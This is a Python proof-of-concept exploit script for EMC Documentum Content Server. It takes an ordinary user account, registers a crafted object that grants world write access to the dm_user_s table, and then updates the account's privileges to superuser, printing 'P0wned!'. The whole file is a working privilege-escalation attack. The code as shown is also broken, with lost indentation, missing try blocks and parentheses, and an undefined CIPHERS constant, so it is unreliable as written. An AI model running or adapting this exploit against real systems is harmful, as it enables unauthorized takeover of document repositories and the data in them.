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#!/usr/bin/env python
import socket
import sys
from os.path import basename
from dctmpy.docbaseclient import DocbaseClient
from dctmpy.obj.typedobject import TypedObject
def usage():
print "usage:\n\t%s host port user password" % basename(sys.argv[0])
def main():
if len(sys.argv) != 5:
print "Trying to connect to %s:%s as %s ..." % (sys.argv[1], sys.argv[2], sys.argv[3])
(session, docbase) = create_session(*sys.argv[1:5])
if is_super_user(session):
print "Current user is a superuser, nothing to do"
print "Acquiring ID for malicious object ..."
id = session.next_id(25)
print "Acquired %s\nTrying to create following malicious object:" % id
obj = TypedObject(session=session)
obj.set_string("OBJECT_TYPE", "DM_REGISTERED")
obj.set_bool("IS_NEW_OBJECT", True)
obj.set_int("i_vstamp", 0)
obj.set_string("table_name", "dm_user_s")
obj.set_string("table_owner", docbase)
obj.set_string("owner_name", docbase)
obj.set_int("world_permit", 7)
obj.set_string("object_name", "dm_user_s")
obj.set_string("r_object_type", "dm_registered")
obj.set_int("owner_table_permit", 15)
obj.set_int("group_table_permit", 15)
obj.set_int("world_table_permit", 15)
print obj.dump()
r = session.sys_obj_save(id, obj)
if not r:
print "Failed"
print "Becoming superuser..."
r = session.query(
"UPDATE dm_dbo.dm_user_s SET user_privileges=16 "
"WHERE user_name=USER") \
if r != 1:
print "Failed"
print "P0wned!"
def create_session(host, port, user, pwd, identity=None):
print "Trying to connect to %s:%s as %s ..." % \
(host, port, user)
session = None
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
secure=True, ciphers=CIPHERS)
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)
def is_super_user(session):
user = session.get_by_qualification(
"dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True
return False
if __name__ == '__main__':
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